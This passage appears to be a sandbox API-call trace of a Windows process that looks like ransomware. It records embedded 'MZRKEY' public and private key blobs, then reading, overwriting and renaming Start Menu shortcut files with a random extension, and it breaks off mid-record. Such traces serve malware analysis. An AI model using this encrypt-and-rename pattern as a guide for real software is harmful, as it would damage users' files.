0xa30 [0132.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.115] GetCurrentThreadId () returned 0xa30 [0132.116] GetCurrentThreadId () returned 0xa30 [0132.116] GetCurrentThreadId () returned 0xa30 [0132.116] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.116] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.116] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.116] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4da [0132.116] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.116] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4da, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x4da, lpOverlapped=0x0) returned 1 [0132.120] CloseHandle (hObject=0x1dc) returned 1 [0132.120] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.123] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x4da, lpOverlapped=0x0) returned 1 [0132.125] CloseHandle (hObject=0x1dc) returned 1 [0132.125] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk.zv7un")) returned 1 [0132.126] GetCurrentThreadId () returned 0xa30 [0132.126] GetCurrentThreadId () returned 0xa30 [0132.126] GetCurrentThreadId () returned 0xa30 [0132.126] GetCurrentThreadId () returned 0xa30 [0132.126] GetCurrentThreadId () returned 0xa30 [0132.126] GetCurrentThreadId () returned 0xa30 [0132.126] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e7f40, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa5e7f40, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa5e7f40, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Information.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0132.127] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.127] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.127] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e7f40, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa5e7f40, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa5e7f40, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2)) returned 1 [0132.128] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk")) returned 0x20 [0132.128] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk", dwFileAttributes=0x80) returned 1 [0132.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.130] GetCurrentThreadId () returned 0xa30 [0132.130] GetCurrentThreadId () returned 0xa30 [0132.131] GetCurrentThreadId () returned 0xa30 [0132.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.131] GetCurrentThreadId () returned 0xa30 [0132.131] GetCurrentThreadId () returned 0xa30 [0132.131] GetCurrentThreadId () returned 0xa30 [0132.131] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.132] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: 